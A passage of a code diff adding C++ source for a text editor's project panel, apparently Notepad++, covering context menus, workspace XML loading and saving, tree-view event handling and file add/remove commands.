pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_SAVEACOPYASWS, PM_SAVEACOPYASWORKSPACE); + generic_string newproject_workspace = pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_NEWPROJECT, PM_NEWPROJECTWORKSPACE); + + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_NEWWS, new_workspace.c_str()); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_OPENWS, open_workspace.c_str()); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_RELOADWS, reload_workspace.c_str()); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_SAVEWS, save_workspace.c_str()); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_SAVEASWS, saveas_workspace.c_str()); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_SAVEACOPYASWS, saveacopyas_workspace.c_str()); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, static_cast(-1), 0); + ::InsertMenu(_hWorkSpaceMenu, 0, MF_BYCOMMAND, IDM_PROJECT_NEWPROJECT, newproject_workspace.c_str()); + + generic_string edit_moveup = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_MOVEUP, PM_MOVEUPENTRY); + generic_string edit_movedown = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_MOVEDOWN, PM_MOVEDOWNENTRY); + generic_string edit_rename = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_RENAME, PM_EDITRENAME); + generic_string edit_addfolder = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_NEWFOLDER, PM_EDITNEWFOLDER); + generic_string edit_addfiles = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_ADDFILES, PM_EDITADDFILES); + generic_string edit_addfilesRecursive = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_ADDFILESRECUSIVELY, PM_EDITADDFILESRECUSIVELY); + generic_string edit_remove = pNativeSpeaker->getProjectPanelLangMenuStr("ProjectMenu", IDM_PROJECT_DELETEFOLDER, PM_EDITREMOVE); + + _hProjectMenu = ::CreatePopupMenu(); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MOVEUP, edit_moveup.c_str()); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MOVEDOWN, edit_movedown.c_str()); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, UINT(-1), 0); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_RENAME, edit_rename.c_str()); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_NEWFOLDER, edit_addfolder.c_str()); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_ADDFILES, edit_addfiles.c_str()); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_ADDFILESRECUSIVELY, edit_addfilesRecursive.c_str()); + ::InsertMenu(_hProjectMenu, 0, MF_BYCOMMAND, IDM_PROJECT_DELETEFOLDER, edit_remove.c_str()); + + edit_moveup = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_MOVEUP, PM_MOVEUPENTRY); + edit_movedown = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_MOVEDOWN, PM_MOVEDOWNENTRY); + edit_rename = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_RENAME, PM_EDITRENAME); + edit_addfolder = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_NEWFOLDER, PM_EDITNEWFOLDER); + edit_addfiles = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_ADDFILES, PM_EDITADDFILES); + edit_addfilesRecursive = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_ADDFILESRECUSIVELY, PM_EDITADDFILESRECUSIVELY); + edit_remove = pNativeSpeaker->getProjectPanelLangMenuStr("FolderMenu", IDM_PROJECT_DELETEFOLDER, PM_EDITREMOVE); + + _hFolderMenu = ::CreatePopupMenu(); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MOVEUP, edit_moveup.c_str()); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MOVEDOWN, edit_movedown.c_str()); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, UINT(-1), 0); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_RENAME, edit_rename.c_str()); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_NEWFOLDER, edit_addfolder.c_str()); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_ADDFILES, edit_addfiles.c_str()); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_ADDFILESRECUSIVELY, edit_addfilesRecursive.c_str()); + ::InsertMenu(_hFolderMenu, 0, MF_BYCOMMAND, IDM_PROJECT_DELETEFOLDER, edit_remove.c_str()); + + edit_moveup = pNativeSpeaker->getProjectPanelLangMenuStr("FileMenu", IDM_PROJECT_MOVEUP, PM_MOVEUPENTRY); + edit_movedown = pNativeSpeaker->getProjectPanelLangMenuStr("FileMenu", IDM_PROJECT_MOVEDOWN, PM_MOVEDOWNENTRY); + edit_rename = pNativeSpeaker->getProjectPanelLangMenuStr("FileMenu", IDM_PROJECT_RENAME, PM_EDITRENAME); + edit_remove = pNativeSpeaker->getProjectPanelLangMenuStr("FileMenu", IDM_PROJECT_DELETEFILE, PM_EDITREMOVE); + generic_string edit_modifyfile = pNativeSpeaker->getProjectPanelLangMenuStr("FileMenu", IDM_PROJECT_MODIFYFILEPATH, PM_EDITMODIFYFILE); + + _hFileMenu = ::CreatePopupMenu(); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MOVEUP, edit_moveup.c_str()); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MOVEDOWN, edit_movedown.c_str()); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, UINT(-1), 0); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_PROJECT_RENAME, edit_rename.c_str()); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_PROJECT_DELETEFILE, edit_remove.c_str()); + ::InsertMenu(_hFileMenu, 0, MF_BYCOMMAND, IDM_PROJECT_MODIFYFILEPATH, edit_modifyfile.c_str()); +} + + +BOOL ProjectPanel::setImageList(int root_clean_id, int root_dirty_id, int project_id, int open_node_id, int closed_node_id, int leaf_id, int ivalid_leaf_id) +{ + HBITMAP hbmp; + COLORREF maskColour = RGB(192, 192, 192); + const int nbBitmaps = 7; + + // Creation of image list + if ((_hImaLst = ImageList_Create(CX_BITMAP, CY_BITMAP, ILC_COLOR32 | ILC_MASK, nbBitmaps, 0)) == NULL) + return FALSE; + + // Add the bmp in the list + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(root_clean_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(root_dirty_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(project_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(open_node_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(closed_node_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(leaf_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(ivalid_leaf_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + if (ImageList_GetImageCount(_hImaLst) < nbBitmaps) + return FALSE; + + // Set image list to the tree view + TreeView_SetImageList(_treeView.getHSelf(), _hImaLst, TVSIL_NORMAL); + + return TRUE; +} + + +void ProjectPanel::destroyMenus() +{ + ::DestroyMenu(_hWorkSpaceMenu); + ::DestroyMenu(_hProjectMenu); + ::DestroyMenu(_hFolderMenu); + ::DestroyMenu(_hFileMenu); +} + +bool ProjectPanel::openWorkSpace(const TCHAR *projectFileName) +{ + TiXmlDocument *pXmlDocProject = new TiXmlDocument(projectFileName); + bool loadOkay = pXmlDocProject->LoadFile(); + if (!loadOkay) + { + delete pXmlDocProject; + return false; + } + + TiXmlNode *root = pXmlDocProject->FirstChild(TEXT("NotepadPlus")); + if (!root) + { + delete pXmlDocProject; + return false; + } + + + TiXmlNode *childNode = root->FirstChildElement(TEXT("Project")); + if (!childNode) + { + delete pXmlDocProject; + return false; + } + + if (!::PathFileExists(projectFileName)) + { + delete pXmlDocProject; + return false; + } + + _treeView.removeAllItems(); + _workSpaceFilePath = projectFileName; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string workspace = pNativeSpeaker->getAttrNameStr(PM_WORKSPACEROOTNAME, "ProjectManager", "WorkspaceRootName"); + HTREEITEM rootItem = _treeView.addItem(workspace.c_str(), TVI_ROOT, INDEX_CLEAN_ROOT); + + for ( ; childNode ; childNode = childNode->NextSibling(TEXT("Project"))) + { + HTREEITEM projectItem = _treeView.addItem((childNode->ToElement())->Attribute(TEXT("name")), rootItem, INDEX_PROJECT); + buildTreeFrom(childNode, projectItem); + } + setWorkSpaceDirty(false); + _treeView.expand(rootItem); + + delete pXmlDocProject; + return loadOkay; +} + +void ProjectPanel::newWorkSpace() +{ + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string workspace = pNativeSpeaker->getAttrNameStr(PM_WORKSPACEROOTNAME, "ProjectManager", "WorkspaceRootName"); + _treeView.addItem(workspace.c_str(), TVI_ROOT, INDEX_CLEAN_ROOT); + setWorkSpaceDirty(false); + _workSpaceFilePath = TEXT(""); +} + +bool ProjectPanel::saveWorkSpace() +{ + if (_workSpaceFilePath == TEXT("")) + { + return saveWorkSpaceAs(false); + } + else + { + writeWorkSpace(); + setWorkSpaceDirty(false); + _isDirty = false; + return true; + } +} + +bool ProjectPanel::writeWorkSpace(TCHAR *projectFileName) +{ + //write : use the default file name if new file name is not given + const TCHAR * fn2write = projectFileName?projectFileName:_workSpaceFilePath.c_str(); + TiXmlDocument projDoc(fn2write); + TiXmlNode *root = projDoc.InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + + //for each project, write + HTREEITEM tvRoot = _treeView.getRoot(); + if (!tvRoot) + return false; + + for (HTREEITEM tvProj = _treeView.getChildFrom(tvRoot); + tvProj != NULL; + tvProj = _treeView.getNextSibling(tvProj)) + { + tvItem.hItem = tvProj; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + //printStr(tvItem.pszText); + + TiXmlNode *projRoot = root->InsertEndChild(TiXmlElement(TEXT("Project"))); + projRoot->ToElement()->SetAttribute(TEXT("name"), tvItem.pszText); + buildProjectXml(projRoot, tvProj, fn2write); + } + projDoc.SaveFile(); + return true; +} + +void ProjectPanel::buildProjectXml(TiXmlNode *node, HTREEITEM hItem, const TCHAR* fn2write) +{ + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT | TVIF_PARAM; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + + for (HTREEITEM hItemNode = _treeView.getChildFrom(hItem); + hItemNode != NULL; + hItemNode = _treeView.getNextSibling(hItemNode)) + { + tvItem.hItem = hItemNode; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + if (tvItem.lParam != NULL) + { + generic_string *fn = (generic_string *)tvItem.lParam; + generic_string newFn = getRelativePath(*fn, fn2write); + TiXmlNode *fileLeaf = node->InsertEndChild(TiXmlElement(TEXT("File"))); + fileLeaf->ToElement()->SetAttribute(TEXT("name"), newFn.c_str()); + } + else + { + TiXmlNode *folderNode = node->InsertEndChild(TiXmlElement(TEXT("Folder"))); + folderNode->ToElement()->SetAttribute(TEXT("name"), tvItem.pszText); + buildProjectXml(folderNode, hItemNode, fn2write); + } + } +} + +generic_string ProjectPanel::getRelativePath(const generic_string & filePath, const TCHAR *workSpaceFileName) +{ + TCHAR wsfn[MAX_PATH]; + lstrcpy(wsfn, workSpaceFileName); + ::PathRemoveFileSpec(wsfn); + + size_t pos_found = filePath.find(wsfn); + if (pos_found == generic_string::npos) + return filePath; + const TCHAR *relativeFile = filePath.c_str() + lstrlen(wsfn); + if (relativeFile[0] == '\\') + ++relativeFile; + return relativeFile; +} + +bool ProjectPanel::buildTreeFrom(TiXmlNode *projectRoot, HTREEITEM hParentItem) +{ + for (TiXmlNode *childNode = projectRoot->FirstChildElement(); + childNode ; + childNode = childNode->NextSibling()) + { + const TCHAR *v = childNode->Value(); + if (lstrcmp(TEXT("Folder"), v) == 0) + { + HTREEITEM addedItem = _treeView.addItem((childNode->ToElement())->Attribute(TEXT("name")), hParentItem, INDEX_CLOSED_NODE); + if (!childNode->NoChildren()) + { + bool isOK = buildTreeFrom(childNode, addedItem); + if (!isOK) + return false; + } + } + else if (lstrcmp(TEXT("File"), v) == 0) + { + const TCHAR *strValue = (childNode->ToElement())->Attribute(TEXT("name")); + generic_string fullPath = getAbsoluteFilePath(strValue); + TCHAR *strValueLabel = ::PathFindFileName(strValue); + int iImage = ::PathFileExists(fullPath.c_str())?INDEX_LEAF:INDEX_LEAF_INVALID; + _treeView.addItem(strValueLabel, hParentItem, iImage, fullPath.c_str()); + } + } + return true; +} + +generic_string ProjectPanel::getAbsoluteFilePath(const TCHAR * relativePath) +{ + if (!::PathIsRelative(relativePath)) + return relativePath; + + TCHAR absolutePath[MAX_PATH]; + lstrcpy(absolutePath, _workSpaceFilePath.c_str()); + ::PathRemoveFileSpec(absolutePath); + ::PathAppend(absolutePath, relativePath); + return absolutePath; +} + +void ProjectPanel::openSelectFile() +{ + TVITEM tvItem; + tvItem.mask = TVIF_PARAM; + tvItem.hItem = _treeView.getSelection(); + ::SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + NodeType nType = getNodeType(tvItem.hItem); + generic_string *fn = (generic_string *)tvItem.lParam; + if (nType == nodeType_file && fn) + { + tvItem.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE; + if (::PathFileExists(fn->c_str())) + { + ::SendMessage(_hParent, NPPM_DOOPEN, 0, reinterpret_cast(fn->c_str())); + tvItem.iImage = INDEX_LEAF; + tvItem.iSelectedImage = INDEX_LEAF; + } + else + { + tvItem.iImage = INDEX_LEAF_INVALID; + tvItem.iSelectedImage = INDEX_LEAF_INVALID; + } + TreeView_SetItem(_treeView.getHSelf(), &tvItem); + } +} + + +void ProjectPanel::notified(LPNMHDR notification) +{ + if ((notification->hwndFrom == _treeView.getHSelf())) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT | TVIF_PARAM; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + + switch (notification->code) + { + case NM_DBLCLK: + { + openSelectFile(); + } + break; + + case TVN_ENDLABELEDIT: + { + LPNMTVDISPINFO tvnotif = (LPNMTVDISPINFO)notification; + if (!tvnotif->item.pszText) + return; + if (getNodeType(tvnotif->item.hItem) == nodeType_root) + return; + + // Processing for only File case + if (tvnotif->item.lParam) + { + // Get the old label + tvItem.hItem = _treeView.getSelection(); + ::SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + size_t len = lstrlen(tvItem.pszText); + + // Find the position of old label in File path + generic_string *filePath = (generic_string *)tvnotif->item.lParam; + size_t found = filePath->rfind(tvItem.pszText); + + // If found the old label, replace it with the modified one + if (found != generic_string::npos) + filePath->replace(found, len, tvnotif->item.pszText); + + // Check the validity of modified file path + tvItem.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE; + if (::PathFileExists(filePath->c_str())) + { + tvItem.iImage = INDEX_LEAF; + tvItem.iSelectedImage = INDEX_LEAF; + } + else + { + tvItem.iImage = INDEX_LEAF_INVALID; + tvItem.iSelectedImage = INDEX_LEAF_INVALID; + } + TreeView_SetItem(_treeView.getHSelf(), &tvItem); + } + + // For File, Folder and Project + ::SendMessage(_treeView.getHSelf(), TVM_SETITEM, 0, reinterpret_cast(&(tvnotif->item))); + setWorkSpaceDirty(true); + } + break; + + case TVN_GETINFOTIP: + { + LPNMTVGETINFOTIP lpGetInfoTip = (LPNMTVGETINFOTIP)notification; + generic_string *str = NULL ; + + if (_treeView.getRoot() == lpGetInfoTip->hItem) + { + str = &_workSpaceFilePath; + } + else + { + str = (generic_string *)lpGetInfoTip->lParam; + if (!str) + return; + } + lpGetInfoTip->pszText = (LPTSTR)str->c_str(); + lpGetInfoTip->cchTextMax = static_cast(str->size()); + } + break; + + case TVN_KEYDOWN: + { + LPNMTVKEYDOWN ptvkd = (LPNMTVKEYDOWN)notification; + + if (ptvkd->wVKey == VK_DELETE) + { + HTREEITEM hItem = _treeView.getSelection(); + NodeType nType = getNodeType(hItem); + if (nType == nodeType_project || nType == nodeType_folder) + popupMenuCmd(IDM_PROJECT_DELETEFOLDER); + else if (nType == nodeType_file) + popupMenuCmd(IDM_PROJECT_DELETEFILE); + } + else if (ptvkd->wVKey == VK_RETURN) + { + HTREEITEM hItem = _treeView.getSelection(); + NodeType nType = getNodeType(hItem); + if (nType == nodeType_file) + openSelectFile(); + else + _treeView.toggleExpandCollapse(hItem); + } + else if (ptvkd->wVKey == VK_UP) + { + if (0x80 & GetKeyState(VK_CONTROL)) + { + popupMenuCmd(IDM_PROJECT_MOVEUP); + } + } + else if (ptvkd->wVKey == VK_DOWN) + { + if (0x80 & GetKeyState(VK_CONTROL)) + { + popupMenuCmd(IDM_PROJECT_MOVEDOWN); + } + } + else if (ptvkd->wVKey == VK_F2) + popupMenuCmd(IDM_PROJECT_RENAME); + + } + break; + + case TVN_ITEMEXPANDED: + { + LPNMTREEVIEW nmtv = (LPNMTREEVIEW)notification; + tvItem.hItem = nmtv->itemNew.hItem; + tvItem.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE; + + if (getNodeType(nmtv->itemNew.hItem) == nodeType_folder) + { + if (nmtv->action == TVE_COLLAPSE) + { + _treeView.setItemImage(nmtv->itemNew.hItem, INDEX_CLOSED_NODE, INDEX_CLOSED_NODE); + } + else if (nmtv->action == TVE_EXPAND) + { + _treeView.setItemImage(nmtv->itemNew.hItem, INDEX_OPEN_NODE, INDEX_OPEN_NODE); + } + } + } + break; + + case TVN_BEGINDRAG: + { + //printStr(TEXT("hello")); + _treeView.beginDrag((LPNMTREEVIEW)notification); + + } + break; + } + } +} + +void ProjectPanel::setWorkSpaceDirty(bool isDirty) +{ + _isDirty = isDirty; + int iImg = _isDirty?INDEX_DIRTY_ROOT:INDEX_CLEAN_ROOT; + _treeView.setItemImage(_treeView.getRoot(), iImg, iImg); +} + +NodeType ProjectPanel::getNodeType(HTREEITEM hItem) +{ + TVITEM tvItem; + tvItem.hItem = hItem; + tvItem.mask = TVIF_IMAGE | TVIF_PARAM; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + // Root + if (tvItem.iImage == INDEX_CLEAN_ROOT || tvItem.iImage == INDEX_DIRTY_ROOT) + { + return nodeType_root; + } + // Project + else if (tvItem.iImage == INDEX_PROJECT) + { + return nodeType_project; + } + // Folder + else if (tvItem.lParam == NULL) + { + return nodeType_folder; + } + // File + else + { + return nodeType_file; + } +} + +void ProjectPanel::showContextMenu(int x, int y) +{ + TVHITTESTINFO tvHitInfo; + HTREEITEM hTreeItem; + + // Detect if the given position is on the element TVITEM + tvHitInfo.pt.x = x; + tvHitInfo.pt.y = y; + tvHitInfo.flags = 0; + ScreenToClient(_treeView.getHSelf(), &(tvHitInfo.pt)); + hTreeItem = TreeView_HitTest(_treeView.getHSelf(), &tvHitInfo); + + if (tvHitInfo.hItem != NULL) + { + // Make item selected + _treeView.selectItem(tvHitInfo.hItem); + + // get clicked item type + NodeType nodeType = getNodeType(tvHitInfo.hItem); + HMENU hMenu = NULL; + if (nodeType == nodeType_root) + hMenu = _hWorkSpaceMenu; + else if (nodeType == nodeType_project) + hMenu = _hProjectMenu; + else if (nodeType == nodeType_folder) + hMenu = _hFolderMenu; + else //nodeType_file + hMenu = _hFileMenu; + TrackPopupMenu(hMenu, TPM_LEFTALIGN, x, y, 0, _hSelf, NULL); + } +} + +POINT ProjectPanel::getMenuDisplayPoint(int iButton) +{ + POINT p; + RECT btnRect; + SendMessage(_hToolbarMenu, TB_GETITEMRECT, iButton, reinterpret_cast(&btnRect)); + + p.x = btnRect.left; + p.y = btnRect.top + btnRect.bottom; + ClientToScreen(_hToolbarMenu, &p); + return p; +} + +HTREEITEM ProjectPanel::addFolder(HTREEITEM hTreeItem, const TCHAR *folderName) +{ + HTREEITEM addedItem = _treeView.addItem(folderName, hTreeItem, INDEX_CLOSED_NODE); + + TreeView_Expand(_treeView.getHSelf(), hTreeItem, TVE_EXPAND); + TreeView_EditLabel(_treeView.getHSelf(), addedItem); + if (getNodeType(hTreeItem) == nodeType_folder) + _treeView.setItemImage(hTreeItem, INDEX_OPEN_NODE, INDEX_OPEN_NODE); + + return addedItem; +} + +void ProjectPanel::popupMenuCmd(int cmdID) +{ + // get selected item handle + HTREEITEM hTreeItem = _treeView.getSelection(); + if (!hTreeItem) + return; + + switch (cmdID) + { + // + // Toolbar menu buttons + // + case IDB_PROJECT_BTN: + { + POINT p = getMenuDisplayPoint(0); + TrackPopupMenu(_hWorkSpaceMenu, TPM_LEFTALIGN, p.x, p.y, 0, _hSelf, NULL); + } + break; + + case IDB_EDIT_BTN: + { + POINT p = getMenuDisplayPoint(1); + HMENU hMenu = NULL; + NodeType nodeType = getNodeType(hTreeItem); + if (nodeType == nodeType_project) + hMenu = _hProjectMenu; + else if (nodeType == nodeType_folder) + hMenu = _hFolderMenu; + else if (nodeType == nodeType_file) + hMenu = _hFileMenu; + if (hMenu) + TrackPopupMenu(hMenu, TPM_LEFTALIGN, p.x, p.y, 0, _hSelf, NULL); + } + break; + + // + // Toolbar menu commands + // + case IDM_PROJECT_NEWPROJECT : + { + HTREEITEM root = _treeView.getRoot(); + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string newProjectLabel = pNativeSpeaker->getAttrNameStr(PM_NEWPROJECTNAME, "ProjectManager", "NewProjectName"); + HTREEITEM addedItem = _treeView.addItem(newProjectLabel.c_str(), root, INDEX_PROJECT); + setWorkSpaceDirty(true); + _treeView.expand(hTreeItem); + TreeView_EditLabel(_treeView.getHSelf(), addedItem); + } + break; + + case IDM_PROJECT_NEWWS : + { + if (_isDirty) + { + int res = ::MessageBox(_hSelf, TEXT("The current workspace was modified. Do you want to save the current project?"), TEXT("New Workspace"), MB_YESNOCANCEL | MB_ICONQUESTION | MB_APPLMODAL); + if (res == IDYES) + { + if (!saveWorkSpace()) + return; + } + else if (res == IDNO) + { + // Don't save so do nothing here + } + else if (res == IDCANCEL) + { + // User cancels action "New Workspace" so we interrupt here + return; + } + } + _treeView.removeAllItems(); + newWorkSpace(); + } + break; + + case IDM_PROJECT_RENAME : + TreeView_EditLabel(_treeView.getHSelf(), hTreeItem); + break; + + case IDM_PROJECT_NEWFOLDER : + { + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string newFolderLabel = pNativeSpeaker->getAttrNameStr(PM_NEWFOLDERNAME, "ProjectManager", "NewFolderName"); + addFolder(hTreeItem, newFolderLabel.c_str()); + setWorkSpaceDirty(true); + } + break; + + case IDM_PROJECT_MOVEDOWN : + { + if (_treeView.moveDown(hTreeItem)) + setWorkSpaceDirty(true); + } + break; + + case IDM_PROJECT_MOVEUP : + { + if (_treeView.moveUp(hTreeItem)) + setWorkSpaceDirty(true); + } + break; + + case IDM_PROJECT_ADDFILES : + { + addFiles(hTreeItem); + if (getNodeType(hTreeItem) == nodeType_folder) + _treeView.setItemImage(hTreeItem, INDEX_OPEN_NODE, INDEX_OPEN_NODE); + } + break; + + case IDM_PROJECT_ADDFILESRECUSIVELY : + { + addFilesFromDirectory(hTreeItem); + if (getNodeType(hTreeItem) == nodeType_folder) + _treeView.setItemImage(hTreeItem, INDEX_OPEN_NODE, INDEX_OPEN_NODE); + } + break; + + case IDM_PROJECT_OPENWS: + { + if (_isDirty) + { + int res = ::MessageBox(_hSelf, TEXT("The current workspace was modified. Do you want to save the current project?"), TEXT("Open Workspace"), MB_YESNOCANCEL | MB_ICONQUESTION | MB_APPLMODAL); + if (res == IDYES) + { + if (!saveWorkSpace()) + return; + } + else if (res == IDNO) + { + // Don't save so do nothing here + } + else if (res == IDCANCEL) + { + // User cancels action "New Workspace" so we interrupt here + return; + } + } + + FileDialog fDlg(_hSelf, ::GetModuleHandle(NULL)); + setFileExtFilter(fDlg); + if (TCHAR *fn = fDlg.doOpenSingleFileDlg()) + { + if (!openWorkSpace(fn)) + { + ::MessageBox(_hSelf, TEXT("The workspace could not be opened.\rIt seems the file to open is not a valid project file."), TEXT("Open Workspace"), MB_OK); + return; + } + } + } + break; + + case IDM_PROJECT_RELOADWS: + { + if (_isDirty) + { + int res = ::MessageBox(_hSelf, TEXT("The current workspace was modified. Reloading will discard all modifications.\rDo you want to continue?"), TEXT("Reload Workspace"), MB_YESNO | MB_ICONQUESTION | MB_APPLMODAL); + if (res == IDYES) + { + // Do nothing + } + else if (res == IDNO) + { + return; + } + } + + if (::PathFileExists(_workSpaceFilePath.c_str())) + { + openWorkSpace(_workSpaceFilePath.c_str()); + } + else + { + ::MessageBox(_hSelf, TEXT("Cannot find the file to reload."), TEXT("Reload Workspace"), MB_OK | MB_ICONEXCLAMATION | MB_APPLMODAL); + } + } + break; + + case IDM_PROJECT_SAVEWS: + saveWorkSpace(); + break; + + case IDM_PROJECT_SAVEACOPYASWS: + case IDM_PROJECT_SAVEASWS: + { + saveWorkSpaceAs(cmdID == IDM_PROJECT_SAVEACOPYASWS); + } + break; + + case IDM_PROJECT_DELETEFOLDER : + { + HTREEITEM parent = _treeView.getParent(hTreeItem); + + if (_treeView.getChildFrom(hTreeItem) != NULL) + { + TCHAR str2display[MAX_PATH] = TEXT("All the sub-items will be removed.\rAre you sure you want to remove this folder from the project?"); + if (::MessageBox(_hSelf, str2display, TEXT("Remove folder from project"), MB_YESNO) == IDYES) + { + _treeView.removeItem(hTreeItem); + setWorkSpaceDirty(true); + } + } + else + { + _treeView.removeItem(hTreeItem); + setWorkSpaceDirty(true); + } + if (getNodeType(parent) == nodeType_folder) + _treeView.setItemImage(parent, INDEX_CLOSED_NODE, INDEX_CLOSED_NODE); + } + break; + + case IDM_PROJECT_DELETEFILE : + { + HTREEITEM parent = _treeView.getParent(hTreeItem); + + TCHAR str2display[MAX_PATH] = TEXT("Are you sure you want to remove this file from the project?"); + if (::MessageBox(_hSelf, str2display, TEXT("Remove file from project"), MB_YESNO) == IDYES) + { + _treeView.removeItem(hTreeItem); + setWorkSpaceDirty(true); + if (getNodeType(parent) == nodeType_folder) + _treeView.setItemImage(parent, INDEX_CLOSED_NODE, INDEX_CLOSED_NODE); + } + } + break; + + case IDM_PROJECT_MODIFYFILEPATH : + { + FileRelocalizerDlg fileRelocalizerDlg; + fileRelocalizerDlg.init(_hInst, _hParent); + + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.hItem = hTreeItem; + tvItem.mask = TVIF_TEXT | TVIF_PARAM | TVIF_IMAGE | TVIF_SELECTEDIMAGE; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + if (!tvItem.lParam) + return; + generic_string * fn = (generic_string *)tvItem.lParam; + + if (fileRelocalizerDlg.doDialog(fn->c_str()) == 0) + { + generic_string newValue = fileRelocalizerDlg.getFullFilePath(); + if (*fn == newValue) + return; + + *fn = newValue; + TCHAR *strValueLabel = ::PathFindFileName(fn->c_str()); + lstrcpy(textBuffer, strValueLabel); + int iImage = ::PathFileExists(fn->c_str())?INDEX_LEAF:INDEX_LEAF_INVALID; + tvItem.iImage = tvItem.iSelectedImage = 